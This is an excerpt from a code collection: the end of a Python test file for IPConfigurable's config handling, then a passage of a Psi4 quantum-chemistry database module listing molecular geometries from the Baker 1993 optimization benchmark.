self.assertEqual(obj.lis, [-1,2,3,[1,2]]) def test_insert_extend(self): c = Config() c.Containers.lis.insert(0, 1) c.Containers.lis.extend([2,3]) obj = Containers(config=c) self.assertEqual(obj.lis, [1,-1,2,3]) def test_set_update(self): c = Config() c.Containers.s.update({0,1,2}) c.Containers.s.update({3}) obj = Containers(config=c) self.assertEqual(obj.s, {'a', 0, 1, 2, 3}) def test_dict_update(self): c = Config() c.Containers.d.update({'c' : 'd'}) c.Containers.d.update({'e' : 'f'}) obj = Containers(config=c) self.assertEqual(obj.d, {'a':'b', 'c':'d', 'e':'f'}) def test_update_twice(self): c = Config() c.MyConfigurable.a = 5 m = MyConfigurable(config=c) self.assertEqual(m.a, 5) c2 = Config() c2.MyConfigurable.a = 10 m.update_config(c2) self.assertEqual(m.a, 10) c2.MyConfigurable.a = 15 m.update_config(c2) self.assertEqual(m.a, 15)
Carreau/IPConfigurable
IPConfigurable/test/test_configurable.py
Python
bsd-3-clause
11,215
[ "Brian" ]
e0ea4c633d7bbe2aed51804c5f4f8bfb102e0dfdc70f266c81440ab3f023f7c0
# # @BEGIN LICENSE # # Psi4: an open-source quantum chemistry software package # # Copyright (c) 2007-2017 The Psi4 Developers. # # The copyrights for code used from other parties are included in # the corresponding files. # # This file is part of Psi4. # # Psi4 is free software; you can redistribute it and/or modify # it under the terms of the GNU Lesser General Public License as published by # the Free Software Foundation, version 3. # # Psi4 is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public License along # with Psi4; if not, write to the Free Software Foundation, Inc., # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. # # @END LICENSE # """ | Database of molecules that are challenging to optimize. | Geometries from Baker J. Comput. Chem. 14 1085 (1993), as reported in Bakken and Helgaker, J. Chem. Phys. 117, 9160 (2002), with a few further corrections. | No reference energies defined. - **cp** ``'off'`` - **rlxd** ``'off'`` - **subset** - ``'small'`` - ``'large'`` """ import re import qcdb # <<< BAKERJCC93 Database Module >>> dbse = 'BAKERJCC93' isOS = 'true' # <<< Database Members >>> HRXN = ['1_3_5_trifluorobenzene', '1_3_5_trisilacyclohexane', '1_3_difluorobenzene', '1_5_difluoronaphthalene', '2_hydroxybicyclopentane', 'ACANIL01', 'acetone', 'acetylene', 'ACHTAR10', 'allene', 'ammonia', 'benzaldehyde', 'benzene', 'benzidine', 'caffeine', 'difuropyrazine', 'dimethylpentane', 'disilyl_ether', 'ethane', 'ethanol', 'furan', 'histidine', 'hydroxysulphane', 'menthone', 'mesityl_oxide', 'methylamine', 'naphthalene', 'neopentane', 'pterin', 'water', ] HRXN_SM = ['1_3_5_trisilacyclohexane', '2_hydroxybicyclopentane', 'acetone', 'acetylene', 'allene', 'ammonia', 'benzene', 'disilyl_ether', 'ethane', 'ethanol', 'furan', 'hydroxysulphane', 'methylamine', 'neopentane', 'water'] HRXN_LG = ['1_3_difluorobenzene', '1_3_5_trifluorobenzene', '1_5_difluoronaphthalene', 'ACANIL01', 'ACHTAR10', 'benzaldehyde', 'benzidine', 'caffeine', 'difuropyrazine', 'dimethylpentane', 'histidine', 'menthone', 'mesityl_oxide', 'naphthalene', 'pterin'] # <<< Chemical Systems Involved >>> RXNM = {} # reaction matrix of reagent contributions per reaction ACTV = {} # order of active reagents per reaction ACTV['%s-%s' % (dbse, '1_3_5_trifluorobenzene' )] = ['%s-%s-reagent' % (dbse, '1_3_5_trifluorobenzene')] RXNM['%s-%s' % (dbse, '1_3_5_trifluorobenzene' )] = dict(zip(ACTV['%s-%s' % (dbse, '1_3_5_trifluorobenzene')], [+1])) ACTV['%s-%s' % (dbse, '1_3_5_trisilacyclohexane' )] = ['%s-%s-reagent' % (dbse, '1_3_5_trisilacyclohexane')] RXNM['%s-%s' % (dbse, '1_3_5_trisilacyclohexane' )] = dict(zip(ACTV['%s-%s' % (dbse, '1_3_5_trisilacyclohexane')], [+1])) ACTV['%s-%s' % (dbse, '1_3_difluorobenzene' )] = ['%s-%s-reagent' % (dbse, '1_3_difluorobenzene')] RXNM['%s-%s' % (dbse, '1_3_difluorobenzene' )] = dict(zip(ACTV['%s-%s' % (dbse, '1_3_difluorobenzene')], [+1])) ACTV['%s-%s' % (dbse, '1_5_difluoronaphthalene' )] = ['%s-%s-reagent' % (dbse, '1_5_difluoronaphthalene')] RXNM['%s-%s' % (dbse, '1_5_difluoronaphthalene' )] = dict(zip(ACTV['%s-%s' % (dbse, '1_5_difluoronaphthalene')], [+1])) ACTV['%s-%s' % (dbse, '2_hydroxybicyclopentane' )] = ['%s-%s-reagent' % (dbse, '2_hydroxybicyclopentane')] RXNM['%s-%s' % (dbse, '2_hydroxybicyclopentane' )] = dict(zip(ACTV['%s-%s' % (dbse, '2_hydroxybicyclopentane')], [+1])) ACTV['%s-%s' % (dbse, 'ACANIL01' )] = ['%s-%s-reagent' % (dbse, 'ACANIL01')] RXNM['%s-%s' % (dbse, 'ACANIL01' )] = dict(zip(ACTV['%s-%s' % (dbse, 'ACANIL01')], [+1])) ACTV['%s-%s' % (dbse, 'acetone' )] = ['%s-%s-reagent' % (dbse, 'acetone')] RXNM['%s-%s' % (dbse, 'acetone' )] = dict(zip(ACTV['%s-%s' % (dbse, 'acetone')], [+1])) ACTV['%s-%s' % (dbse, 'acetylene' )] = ['%s-%s-reagent' % (dbse, 'acetylene')] RXNM['%s-%s' % (dbse, 'acetylene' )] = dict(zip(ACTV['%s-%s' % (dbse, 'acetylene')], [+1])) ACTV['%s-%s' % (dbse, 'ACHTAR10' )] = ['%s-%s-reagent' % (dbse, 'ACHTAR10')] RXNM['%s-%s' % (dbse, 'ACHTAR10' )] = dict(zip(ACTV['%s-%s' % (dbse, 'ACHTAR10')], [+1])) ACTV['%s-%s' % (dbse, 'allene' )] = ['%s-%s-reagent' % (dbse, 'allene')] RXNM['%s-%s' % (dbse, 'allene' )] = dict(zip(ACTV['%s-%s' % (dbse, 'allene')], [+1])) ACTV['%s-%s' % (dbse, 'ammonia' )] = ['%s-%s-reagent' % (dbse, 'ammonia')] RXNM['%s-%s' % (dbse, 'ammonia' )] = dict(zip(ACTV['%s-%s' % (dbse, 'ammonia')], [+1])) ACTV['%s-%s' % (dbse, 'benzaldehyde' )] = ['%s-%s-reagent' % (dbse, 'benzaldehyde')] RXNM['%s-%s' % (dbse, 'benzaldehyde' )] = dict(zip(ACTV['%s-%s' % (dbse, 'benzaldehyde')], [+1])) ACTV['%s-%s' % (dbse, 'benzene' )] = ['%s-%s-reagent' % (dbse, 'benzene')] RXNM['%s-%s' % (dbse, 'benzene' )] = dict(zip(ACTV['%s-%s' % (dbse, 'benzene')], [+1])) ACTV['%s-%s' % (dbse, 'benzidine' )] = ['%s-%s-reagent' % (dbse, 'benzidine')] RXNM['%s-%s' % (dbse, 'benzidine' )] = dict(zip(ACTV['%s-%s' % (dbse, 'benzidine')], [+1])) ACTV['%s-%s' % (dbse, 'caffeine' )] = ['%s-%s-reagent' % (dbse, 'caffeine')] RXNM['%s-%s' % (dbse, 'caffeine' )] = dict(zip(ACTV['%s-%s' % (dbse, 'caffeine')], [+1])) ACTV['%s-%s' % (dbse, 'difuropyrazine' )] = ['%s-%s-reagent' % (dbse, 'difuropyrazine')] RXNM['%s-%s' % (dbse, 'difuropyrazine' )] = dict(zip(ACTV['%s-%s' % (dbse, 'difuropyrazine')], [+1])) ACTV['%s-%s' % (dbse, 'dimethylpentane' )] = ['%s-%s-reagent' % (dbse, 'dimethylpentane')] RXNM['%s-%s' % (dbse, 'dimethylpentane' )] = dict(zip(ACTV['%s-%s' % (dbse, 'dimethylpentane')], [+1])) ACTV['%s-%s' % (dbse, 'disilyl_ether' )] = ['%s-%s-reagent' % (dbse, 'disilyl_ether')] RXNM['%s-%s' % (dbse, 'disilyl_ether' )] = dict(zip(ACTV['%s-%s' % (dbse, 'disilyl_ether')], [+1])) ACTV['%s-%s' % (dbse, 'ethane' )] = ['%s-%s-reagent' % (dbse, 'ethane')] RXNM['%s-%s' % (dbse, 'ethane' )] = dict(zip(ACTV['%s-%s' % (dbse, 'ethane')], [+1])) ACTV['%s-%s' % (dbse, 'ethanol' )] = ['%s-%s-reagent' % (dbse, 'ethanol')] RXNM['%s-%s' % (dbse, 'ethanol' )] = dict(zip(ACTV['%s-%s' % (dbse, 'ethanol')], [+1])) ACTV['%s-%s' % (dbse, 'furan' )] = ['%s-%s-reagent' % (dbse, 'furan')] RXNM['%s-%s' % (dbse, 'furan' )] = dict(zip(ACTV['%s-%s' % (dbse, 'furan')], [+1])) ACTV['%s-%s' % (dbse, 'histidine' )] = ['%s-%s-reagent' % (dbse, 'histidine')] RXNM['%s-%s' % (dbse, 'histidine' )] = dict(zip(ACTV['%s-%s' % (dbse, 'histidine')], [+1])) ACTV['%s-%s' % (dbse, 'hydroxysulphane' )] = ['%s-%s-reagent' % (dbse, 'hydroxysulphane')] RXNM['%s-%s' % (dbse, 'hydroxysulphane' )] = dict(zip(ACTV['%s-%s' % (dbse, 'hydroxysulphane')], [+1])) ACTV['%s-%s' % (dbse, 'menthone' )] = ['%s-%s-reagent' % (dbse, 'menthone')] RXNM['%s-%s' % (dbse, 'menthone' )] = dict(zip(ACTV['%s-%s' % (dbse, 'menthone')], [+1])) ACTV['%s-%s' % (dbse, 'mesityl_oxide' )] = ['%s-%s-reagent' % (dbse, 'mesityl_oxide')] RXNM['%s-%s' % (dbse, 'mesityl_oxide' )] = dict(zip(ACTV['%s-%s' % (dbse, 'mesityl_oxide')], [+1])) ACTV['%s-%s' % (dbse, 'methylamine' )] = ['%s-%s-reagent' % (dbse, 'methylamine')] RXNM['%s-%s' % (dbse, 'methylamine' )] = dict(zip(ACTV['%s-%s' % (dbse, 'methylamine')], [+1])) ACTV['%s-%s' % (dbse, 'naphthalene' )] = ['%s-%s-reagent' % (dbse, 'naphthalene')] RXNM['%s-%s' % (dbse, 'naphthalene' )] = dict(zip(ACTV['%s-%s' % (dbse, 'naphthalene')], [+1])) ACTV['%s-%s' % (dbse, 'neopentane' )] = ['%s-%s-reagent' % (dbse, 'neopentane')] RXNM['%s-%s' % (dbse, 'neopentane' )] = dict(zip(ACTV['%s-%s' % (dbse, 'neopentane')], [+1])) ACTV['%s-%s' % (dbse, 'pterin' )] = ['%s-%s-reagent' % (dbse, 'pterin')] RXNM['%s-%s' % (dbse, 'pterin' )] = dict(zip(ACTV['%s-%s' % (dbse, 'pterin')], [+1])) ACTV['%s-%s' % (dbse, 'water' )] = ['%s-%s-reagent' % (dbse, 'water')] RXNM['%s-%s' % (dbse, 'water' )] = dict(zip(ACTV['%s-%s' % (dbse, 'water')], [+1])) # <<< Reference Values [kcal/mol] >>> BIND = {} BIND['%s-%s' % (dbse, '1_3_5_trifluorobenzene' )] = 0.000 BIND['%s-%s' % (dbse, '1_3_5_trisilacyclohexane' )] = 0.000 BIND['%s-%s' % (dbse, '1_3_difluorobenzene' )] = 0.000 BIND['%s-%s' % (dbse, '1_5_difluoronaphthalene' )] = 0.000 BIND['%s-%s' % (dbse, '2_hydroxybicyclopentane' )] = 0.000 BIND['%s-%s' % (dbse, 'ACANIL01' )] = 0.000 BIND['%s-%s' % (dbse, 'acetone' )] = 0.000 BIND['%s-%s' % (dbse, 'acetylene' )] = 0.000 BIND['%s-%s' % (dbse, 'ACHTAR10' )] = 0.000 BIND['%s-%s' % (dbse, 'allene' )] = 0.000 BIND['%s-%s' % (dbse, 'ammonia' )] = 0.000 BIND['%s-%s' % (dbse, 'benzaldehyde' )] = 0.000 BIND['%s-%s' % (dbse, 'benzene' )] = 0.000 BIND['%s-%s' % (dbse, 'benzidine' )] = 0.000 BIND['%s-%s' % (dbse, 'caffeine' )] = 0.000 BIND['%s-%s' % (dbse, 'difuropyrazine' )] = 0.000 BIND['%s-%s' % (dbse, 'dimethylpentane' )] = 0.000 BIND['%s-%s' % (dbse, 'disilyl_ether' )] = 0.000 BIND['%s-%s' % (dbse, 'ethane' )] = 0.000 BIND['%s-%s' % (dbse, 'ethanol' )] = 0.000 BIND['%s-%s' % (dbse, 'furan' )] = 0.000 BIND['%s-%s' % (dbse, 'histidine' )] = 0.000 BIND['%s-%s' % (dbse, 'hydroxysulphane' )] = 0.000 BIND['%s-%s' % (dbse, 'menthone' )] = 0.000 BIND['%s-%s' % (dbse, 'mesityl_oxide' )] = 0.000 BIND['%s-%s' % (dbse, 'methylamine' )] = 0.000 BIND['%s-%s' % (dbse, 'naphthalene' )] = 0.000 BIND['%s-%s' % (dbse, 'neopentane' )] = 0.000 BIND['%s-%s' % (dbse, 'pterin' )] = 0.000 BIND['%s-%s' % (dbse, 'water' )] = 0.000 # <<< Comment Lines >>> TAGL = {} TAGL['%s-%s' % (dbse, '1_3_5_trifluorobenzene' )] = '' TAGL['%s-%s-reagent' % (dbse, '1_3_5_trifluorobenzene' )] = '' TAGL['%s-%s' % (dbse, '1_3_5_trisilacyclohexane' )] = '' TAGL['%s-%s-reagent' % (dbse, '1_3_5_trisilacyclohexane' )] = '' TAGL['%s-%s' % (dbse, '1_3_difluorobenzene' )] = '' TAGL['%s-%s-reagent' % (dbse, '1_3_difluorobenzene' )] = '' TAGL['%s-%s' % (dbse, '1_5_difluoronaphthalene' )] = '' TAGL['%s-%s-reagent' % (dbse, '1_5_difluoronaphthalene' )] = '' TAGL['%s-%s' % (dbse, '2_hydroxybicyclopentane' )] = '' TAGL['%s-%s-reagent' % (dbse, '2_hydroxybicyclopentane' )] = '' TAGL['%s-%s' % (dbse, 'ACANIL01' )] = '' TAGL['%s-%s-reagent' % (dbse, 'ACANIL01' )] = '' TAGL['%s-%s' % (dbse, 'acetone' )] = '' TAGL['%s-%s-reagent' % (dbse, 'acetone' )] = '' TAGL['%s-%s' % (dbse, 'acetylene' )] = '' TAGL['%s-%s-reagent' % (dbse, 'acetylene' )] = '' TAGL['%s-%s' % (dbse, 'ACHTAR10' )] = '' TAGL['%s-%s-reagent' % (dbse, 'ACHTAR10' )] = '' TAGL['%s-%s' % (dbse, 'allene' )] = '' TAGL['%s-%s-reagent' % (dbse, 'allene' )] = '' TAGL['%s-%s' % (dbse, 'ammonia' )] = '' TAGL['%s-%s-reagent' % (dbse, 'ammonia' )] = '' TAGL['%s-%s' % (dbse, 'benzaldehyde' )] = '' TAGL['%s-%s-reagent' % (dbse, 'benzaldehyde' )] = '' TAGL['%s-%s' % (dbse, 'benzene' )] = '' TAGL['%s-%s-reagent' % (dbse, 'benzene' )] = '' TAGL['%s-%s' % (dbse, 'benzidine' )] = '' TAGL['%s-%s-reagent' % (dbse, 'benzidine' )] = '' TAGL['%s-%s' % (dbse, 'caffeine' )] = '' TAGL['%s-%s-reagent' % (dbse, 'caffeine' )] = '' TAGL['%s-%s' % (dbse, 'difuropyrazine' )] = '' TAGL['%s-%s-reagent' % (dbse, 'difuropyrazine' )] = '' TAGL['%s-%s' % (dbse, 'dimethylpentane' )] = '' TAGL['%s-%s-reagent' % (dbse, 'dimethylpentane' )] = '' TAGL['%s-%s' % (dbse, 'disilyl_ether' )] = '' TAGL['%s-%s-reagent' % (dbse, 'disilyl_ether' )] = '' TAGL['%s-%s' % (dbse, 'ethane' )] = '' TAGL['%s-%s-reagent' % (dbse, 'ethane' )] = '' TAGL['%s-%s' % (dbse, 'ethanol' )] = '' TAGL['%s-%s-reagent' % (dbse, 'ethanol' )] = '' TAGL['%s-%s' % (dbse, 'furan' )] = '' TAGL['%s-%s-reagent' % (dbse, 'furan' )] = '' TAGL['%s-%s' % (dbse, 'histidine' )] = '' TAGL['%s-%s-reagent' % (dbse, 'histidine' )] = '' TAGL['%s-%s' % (dbse, 'hydroxysulphane' )] = '' TAGL['%s-%s-reagent' % (dbse, 'hydroxysulphane' )] = '' TAGL['%s-%s' % (dbse, 'menthone' )] = '' TAGL['%s-%s-reagent' % (dbse, 'menthone' )] = '' TAGL['%s-%s' % (dbse, 'mesityl_oxide' )] = '' TAGL['%s-%s-reagent' % (dbse, 'mesityl_oxide' )] = '' TAGL['%s-%s' % (dbse, 'methylamine' )] = '' TAGL['%s-%s-reagent' % (dbse, 'methylamine' )] = '' TAGL['%s-%s' % (dbse, 'naphthalene' )] = '' TAGL['%s-%s-reagent' % (dbse, 'naphthalene' )] = '' TAGL['%s-%s' % (dbse, 'neopentane' )] = '' TAGL['%s-%s-reagent' % (dbse, 'neopentane' )] = '' TAGL['%s-%s' % (dbse, 'pterin' )] = '' TAGL['%s-%s-reagent' % (dbse, 'pterin' )] = '' TAGL['%s-%s' % (dbse, 'water' )] = '' TAGL['%s-%s-reagent' % (dbse, 'water' )] = '' # <<< Geometry Specification Strings >>> GEOS = {} # These atoms were replaced below to avoid a D3h related symmetry bug # the point group wasn't getting detected and optimization couldn't proceed #C 2.27501122 1.31347834 0.00000000 #C -2.27501122 1.31347834 0.00000000 GEOS['%s-%s-reagent' % (dbse, '1_3_5_trifluorobenzene')] = qcdb.Molecule(""" 0 1 F 4.45124771 2.56992907 0.00000000 F -4.45124771 2.56992907 0.00000000 F 0.00000000 -5.13985813 0.00000000 C 2.27501122 1.31348 0.00000000 C -2.27501122 1.31348 0.00000000 C 0.00000000 -2.62695668 0.00000000 C 2.27446593 -1.31316352 0.00000000 C -2.27446593 -1.31316352 0.00000000 C 0.00000000 2.62632703 0.00000000 H 4.04176646 -2.33351496 0.00000000 H -4.04176646 -2.33351496 0.00000000 H 0.00000000 4.66702991 0.00000000 units bohr """) GEOS['%s-%s-reagent' % (dbse, '1_3_5_trisilacyclohexane')] = qcdb.Molecule(""" 0 1 Si 2.87562701 1.66024403 0.50009833 Si -2.87562701 1.66024403 0.50009833 Si 0.00000000 -3.32048805 0.50009833 C 0.00000000 3.31617083 -0.65645952 C 2.87188818 -1.65808542 -0.65645952 C -2.87188818 -1.65808542 -0.65645952 H 0.00000000 5.25402682 0.04550787 H 4.55012070 -2.62701341 0.04550787 H -4.55012070 -2.62701341 0.04550787 H 0.00000000 3.33620321 -2.71676085 H 2.88923673 -1.66810160 -2.71676085 H -2.88923673 -1.66810160 -2.71676085 H 5.14953250 2.97308398 -0.46837999 H -5.14953250 2.97308398 -0.46837999 H 2.91112385 1.68073814 3.29599415 H -2.91112385 1.68073814 3.29599415 H 0.00000000 -3.36147627 3.29599415 H 0.00000000 -5.94616795 -0.46837999 units bohr """) GEOS['%s-%s-reagent' % (dbse, '1_3_difluorobenzene')] = qcdb.Molecule(""" 0 1 F 4.45098629 2.53075455 0.00000000 F -4.45098629 2.53075455 0.00000000 C 2.27459315 -1.35284979 0.00000000 C -2.27459315 -1.35284979 0.00000000 C 2.27465109 1.27385640 0.00000000 C -2.27465109 1.27385640 0.00000000 C 0.00000000 2.58727941 0.00000000 C 0.00000000 -2.66641919 0.00000000 H 4.04232694 -2.37256182 0.00000000 H -4.04232694 -2.37256182 0.00000000 H 0.00000000 4.62804882 0.00000000 H 0.00000000 -4.70730774 0.00000000 units bohr """) GEOS['%s-%s-reagent' % (dbse, '1_5_difluoronaphthalene')] = qcdb.Molecule(""" 0 1 F 5.77442810 0.00000000 0.00000000 F -5.77442810 0.00000000 0.00000000 C 0.72785457 -4.70254512 0.00000000 C -0.72785457 4.70254512 0.00000000 C 3.11062174 -3.60249243 0.00000000 C -3.11062174 3.60249243 0.00000000 C 3.38479931 -0.98799287 0.00000000 C -3.38479931 0.98799287 0.00000000 C 1.23776851 0.57124055 0.00000000 C -1.23776851 -0.57124055 0.00000000 C 1.43014268 3.20907701 0.00000000 C -1.43014268 -3.20907701 0.00000000 H 0.55204008 -6.73646406 0.00000000 H -0.55204008 6.73646406 0.00000000 H 4.76445952 -4.80069021 0.00000000 H -4.76445952 4.80069021 0.00000000 H 3.24999844 4.13948522 0.00000000 H -3.24999844 -4.13948522 0.00000000 units bohr """) GEOS['%s-%s-reagent' % (dbse, '2_hydroxybicyclopentane')] = qcdb.Molecule(""" 0 1 O 0.00000000 0.00000000 3.97630549 C 0.61275612 1.71787828 -0.25674160 C -1.25240609 0.75430367 1.72991074 C -1.89991796 -1.49181590 0.06218311 C 2.64764592 0.00000000 -1.36190849 C -0.10732099 -0.53140328 -1.99092676 H -2.85601026 2.05561017 2.08353099 H 0.13348920 3.49094037 -1.26103342 H 3.57368102 -1.34558615 -0.05933199 H 3.80698111 0.79833379 -2.90613711 H -1.33579202 -3.34159783 0.85888891 H -3.90122993 -1.54049270 -0.53915310 H -0.93405780 0.26002983 -3.74579160 H 1.51218168 -0.82620025 3.41020482 units bohr """) GEOS['%s-%s-reagent' % (dbse, 'ACANIL01')] = qcdb.Molecule(""" 0 1 O 6.74334167 0.00000000 0.00000000 N 2.75125398 -0.91996681 0.00000000 C -3.75958919 -3.62046813 0.00000000 C -1.13660145 -3.38720984 0.00000000 C 0.00427371 -1.00318363 0.00000000 C -1.53985353 1.15387105 0.00000000 C -4.16293704 0.91831969 0.00000000 C -5.26811078 -1.46724271 0.00000000 C 4.57389611 0.80511522 0.00000000 C 4.13207020 3.64054919 0.00000000 H -4.62306754 -5.47176436 0.00000000 H -0.00377805 -5.08765397 0.00000000 H -0.76505606 3.03326534 0.00000000 H -5.34041651 2.58758240 0.00000000 H -7.30266577 -1.64802574 0.00000000 H 3.58082506 -2.66479209 0.00000000 H 5.95212032 4.66178191 0.00000000 H 3.08214744 4.23491124 1.70076220 H 3.08214744 4.23491124 -1.70076220 units bohr """) GEOS['%s-%s-reagent' % (dbse, 'acetone')] = qcdb.Molecule(""" 0 1 O 0.00000000 3.46695757 0.00000000 C 0.00000000 1.14032594 0.00000000 C 0.00000000 -0.29542841 2.50138172 C 0.00000000 -0.29542841 -2.50138172 H 0.00000000 1.00440652 4.13754069 H 0.00000000 1.00440652 -4.13754069 H 1.69360304 -1.50630994 2.66984804 H -1.69360304 -1.50630994 2.66984804 H 1.69360304 -1.50630994 -2.66984804 H -1.69360304 -1.50630994 -2.66984804 units bohr """) GEOS['%s-%s-reagent' % (dbse, 'acetylene')] = qcdb.Molecule(""" 0 1 C 0.00000000 0.00000000 1.13383600 C 0.00000000 0.00000000 -1.13383600 H 0.00000000 0.00000000 3.02356266 H 0.00000000 0.00000000 -3.02356266 units bohr """) GEOS['%s-%s-reagent' % (dbse, 'ACHTAR10')] = qcdb.Molecule(""" 0 1 O 0.00000000 0.00000000 3.93735249 O 1.79875939 0.00000000 -0.09531034 N -4.40589519 1.32037243 -3.31810156 C -2.43021636 -0.18962157 -2.05696026 C -0.22185404 1.49597798 -1.20775357 C 1.69726730 -0.59259412 2.46067577 C 3.97685548 -2.11479138 3.27934906 H -3.68043380 2.27933244 -4.84082518 H -5.10144333 2.68085421 -2.12147722 H -3.24985392 -1.18842676 -0.41051393 H -1.74547418 -1.68142667 -3.35347133 H 0.55351430 2.51912058 -2.85842920 H -0.88071695 2.99188292 0.10524925 H 5.73529679 -1.04410557 2.94759034 H 4.08562680 -3.90736002 2.21955987 H 3.86856770 -2.56921447 5.31306580 units bohr """) GEOS['%s-%s-reagent' % (dbse, 'allene')] = qcdb.Molecule(""" 0 1 C 0.00000000 0.00000000 0.00000000 C 0.00000000 2.49419295 0.00000000 C 0.00000000 -2.49419295 0.00000000 H 1.76772016 -3.51503166 0.00000000 H -1.76772016 -3.51503166 0.00000000 H 0.00000000 3.51503166 1.76772016 H 0.00000000 3.51503166 -1.76772016 units bohr """) GEOS['%s-%s-reagent' % (dbse, 'ammonia')] = qcdb.Molecule(""" 0 1 N 0.00000000 0.00000000 0.47690250 H 1.55848945 0.89979432 -0.15896750 H -1.55848945 0.89979432 -0.15896750 H 0.00000000 -1.79958864 -0.15896750 units bohr """) GEOS['%s-%s-reagent' % (dbse, 'benzaldehyde')] = qcdb.Molecule(""" 0 1 O 6.11695944 0.00000000 0.00000000 C -0.42811838 -2.25953622 0.00000000 C -2.92869352 -1.43478712 0.00000000 C -3.46561640 1.14118082 0.00000000 C -1.50611491 2.89722764 0.00000000 C 0.99614123 2.07851844 0.00000000 C 1.55290207 -0.51034434 0.00000000 C 4.31002394 -1.46969818 0.00000000 H 4.69277313 -3.52434043 0.00000000 H -0.04838912 -4.26733408 0.00000000 H -4.45167820 -2.79426839 0.00000000 H -5.40516702 1.77808408 0.00000000 H -1.92653663 4.89495992 0.00000000 H 2.49151439 3.47033786 0.00000000 units bohr """) GEOS['%s-%s-reagent' % (dbse, 'benzene')] = qcdb.Molecule(""" 0 1 C 0.00000000 2.63452745 0.00000000 C 0.00000000 -2.63452745 0.00000000 C 2.28156770 1.31726373 0.00000000 C -2.28156770 1.31726373 0.00000000 C 2.28156770 -1.31726373 0.00000000 C -2.28156770 -1.31726373 0.00000000 H 0.00000000 4.67589156 0.00000000 H 0.00000000 -4.67589156 0.00000000 H 4.04944088 2.33794578 0.00000000 H -4.04944088 2.33794578 0.00000000 H 4.04944088 -2.33794578 0.00000000 H -4.04944088 -2.33794578 0.00000000 units bohr """) GEOS['%s-%s-reagent' % (dbse, 'benzidine')] = qcdb.Molecule(""" 0 1 N 0.00000000 0.00000000 9.17973038 N 0.00000000 0.00000000 -9.17973038 C -2.20388942 0.56488223 5.36955702 C 2.20388942 -0.56488223 5.36955702 C -2.20388942 -0.56488223 -5.36955702 C 2.20388942 0.56488223 -5.36955702 C -2.20706622 0.56349235 2.73912945 C 2.20706622 -0.56349235 2.73912945 C -2.20706622 -0.56349235 -2.73912945 C 2.20706622 0.56349235 -2.73912945 C 0.00000000 0.00000000 1.32948630 C 0.00000000 0.00000000 -1.32948630 C 0.00000000 0.00000000 6.67931977 C 0.00000000 0.00000000 -6.67931977 H -3.93022673 1.02227253 6.36283467 H 3.93022673 -1.02227253 6.36283467 H -3.93022673 -1.02227253 -6.36283467 H 3.93022673 1.02227253 -6.36283467 H -3.95573979 1.07384957 1.81596643 H 3.95573979 -1.07384957 1.81596643 H -3.95573979 -1.07384957 -1.81596643 H 3.95573979 1.07384957 -1.81596643 H 1.67837252 -0.43031314 10.04483176 H -1.67837252 0.43031314 10.04483176 H 1.67837252 0.43031314 -10.04483176 H -1.67837252 -0.43031314 -10.04483176 units bohr """) GEOS['%s-%s-reagent' % (dbse, 'caffeine')] = qcdb.Molecule(""" 0 1 O -1.35796495 -4.55968346 0.00000000 O 6.00359465 0.00000000 0.00000000 N -4.34699530 0.40790868 0.00000000 N -2.02147868 4.34704366 0.00000000 N 2.40166495 2.29891253 0.00000000 N 2.38963107 -2.32861610 0.00000000 C -1.73514100 0.00806819 0.00000000 C -0.39656652 2.28913440 0.00000000 C -4.28628286 3.03178701 0.00000000 C -0.23380597 -2.51268919 0.00000000 C 3.66630626 -0.01011647 0.00000000 C 3.91233427 -4.71649369 0.00000000 C 3.86899427 4.70507045 0.00000000 C -6.50871497 -1.38799138 0.00000000 H -6.04146873 4.08346573 0.00000000 H 5.15026261 -4.82916673 1.68145730 H 5.15026261 -4.82916673 -1.68145730 H 2.75182289 -6.45823288 0.00000000 H 5.10374160 4.83609896 1.68332379 H 5.10374160 4.83609896 -1.68332379 H 2.65878836 6.40983420 0.00000000 H -8.34003564 -0.38023773 0.00000000 H -6.44634525 -2.62051420 1.68782779 H -6.44634525 -2.62051420 -1.68782779 units bohr """) #set { guess gwh """) GEOS['%s-%s-reagent' % (dbse, 'difuropyrazine')] = qcdb.Molecule(""" 0 1 O 5.24048162 0.00000000 0.00000000 O -5.24048162 0.00000000 0.00000000 N 1.15705376 -2.55150608 0.00000000 N -1.15705376 2.55150608 0.00000000 C 1.53596834 2.15160317 0.00000000 C -1.53596834 -2.15160317 0.00000000 C 2.65703648 -0.27471770 0.00000000 C -2.65703648 0.27471770 0.00000000 C 5.62186670 2.62201493 0.00000000 C -5.62186670 -2.62201493 0.00000000 C 3.54881353 4.07756019 0.00000000 C -3.54881353 -4.07756019 0.00000000 H 7.52697788 3.41239127 0.00000000 H -7.52697788 -3.41239127 0.00000000 H 3.34537092 6.12657010 0.00000000 H -3.34537092 -6.12657010 0.00000000 units bohr """) GEOS['%s-%s-reagent' % (dbse, 'dimethylpentane')] = qcdb.Molecule(""" 0 1 C -1.90302142 1.79989214 -3.12819161 C 0.68098191 1.17008149 -1.92744962 C 0.57347759 -0.44273007 0.55332222 C -0.57536860 1.07092655 2.79511667 C 0.00000000 0.00000000 5.44078830 C 2.40130119 0.00000000 -3.96848713 C -0.75740445 -3.03396450 0.24401702 H -3.17069973 2.76026122 -1.77509550 H -2.89812692 0.08656618 -3.79174516 H -1.70835535 3.07391957 -4.77327789 H 1.57127154 2.99847536 -1.42186024 H 2.56484657 -0.84063638 1.06972922 H -2.64484782 1.25561061 2.54633021 H 0.13997457 3.03676459 2.74695911 H -0.82887852 -1.89737304 5.71865173 H -0.77969219 1.22647944 6.94230752 H 2.05566062 -0.15968979 5.78408339 H 1.63584569 -1.79524917 -4.71467976 H 2.65159319 1.28124788 -5.60071709 H 4.31235662 -0.40611038 -3.22785050 H -0.60282164 -4.20392129 1.96624261 H -2.79329149 -2.82201336 -0.17320237 H 0.07519864 -4.15853702 -1.30499111 units bohr """) GEOS['%s-%s-reagent' % (dbse, 'disilyl_ether')] = qcdb.Molecule(""" 0 1 Si 0.00000000 -0.06571048 3.03636189 Si 0.00000000 -0.06571048 -3.03636189 O 0.00000000 -0.88817346 0.00000000 H 0.00000000 -2.19565412 4.54756839 H 2.12290049 1.35272566 3.58475023 H -2.12290049 1.35272566 3.58475023 H 0.00000000 -2.19565412 -4.54756839 H 2.12290049 1.35272566 -3.58475023 H -2.12290049 1.35272566 -3.58475023 units bohr """) GEOS['%s-%s-reagent' % (dbse, 'ethane')] = qcdb.Molecule(""" 0 1 C 0.00000000 0.00000000 1.45478763 C 0.00000000 0.00000000 -1.45478763 H 